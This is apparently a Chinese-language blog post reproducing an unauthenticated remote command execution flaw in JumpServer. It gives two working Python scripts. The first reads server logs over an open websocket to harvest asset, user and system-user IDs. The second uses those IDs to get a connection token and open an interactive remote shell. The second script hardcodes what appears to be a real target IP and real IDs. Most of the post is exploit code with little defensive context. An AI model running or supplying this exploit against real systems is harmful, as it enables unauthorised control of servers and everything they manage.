JumpServer RCE

一. 漏洞url

http://xxx.xxx.xx.xx

二. 漏洞详情

由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。,可以读取jumpserver日志信息,证明漏洞存在。

三. 漏洞复现

1。运行脚本获取 asset_id,system——user,user_id三个值

import asyncio
import re
import websockets
import json
 
url = "/ws/ops/tasks/log/"
async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")
if __name__ == "__main__":
    host = "http://xxx.xxx.xx.xx"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

在这里插入图片描述

将asset,system_user,user三个id值放入下面脚本:

import os
import asyncio
import aioconsole
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=1"
def get_celery_task_log_path(task_id):
   task_id = str(task_id)
   rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
   path = os.path.join("/opt/jumpserver/", rel_path)
   return path
async def send_msg(websocket, _text):
   if _text == "exit":
       print(f'you have enter "exit", goodbye')
       await websocket.close(reason="user exit")
       return False
   await websocket.send(_text)
async def send_loop(ws, session_id):
   while True:
       cmdline = await aioconsole.ainput()
       await send_msg(
           ws,
           json.dumps(
               {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
           ),
       )
async def recv_loop(ws):
   while True:
       recv_text = await ws.recv()
       ret = json.loads(recv_text)
       if ret.get("type", "TERMINAL_DATA"):
           await aioconsole.aprint(ret["data"], end="")




# 客户端主逻辑

async def main_logic():
   print("#######start ws")
   async with websockets.connect(target) as client:
       recv_text = await client.recv()
       print(f"{recv_text}")
       session_id = json.loads(recv_text)["id"]
       print("get ws id:" + session_id)
       print("###############")
       print("init ws")
       print("###############")
       inittext = json.dumps(
           {
               "id": session_id,
               "type": "TERMINAL_INIT",
               "data": '{"cols":164,"rows":17}',
           }
       )
       await send_msg(client, inittext)
       await asyncio.gather(recv_loop(client), send_loop(client, session_id))
if __name__ == "__main__":
   host = "http://188.116.29.90"
   cmd = "whoami"
   if host[-1] == "/":
       host = host[:-1]
   print(host)
   data = {"user": "845f63b6-3531-4e77-910a-f43ed4acaaea", "asset": "4aa34c92-babb-4f35-8ca7-24de0107ac32",
           "system_user": "11c510be-3a3a-4245-9867-6ca13a2afc2e"}
   print("##################")
   print("get token url:%s" % (host + url,))
   print("##################")
   res = requests.post(host + url, json=data)
   token = res.json()["token"]
   print("token:%s", (token,))
   print("##################")
   target = (
           "ws://" + host.replace("http://", "") + "/kokos/ws/token/?target_id=" + token
   )
   print("target ws:%s" % (target,))
   asyncio.get_event_loop().run_until_complete(main_logic())
    ```

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐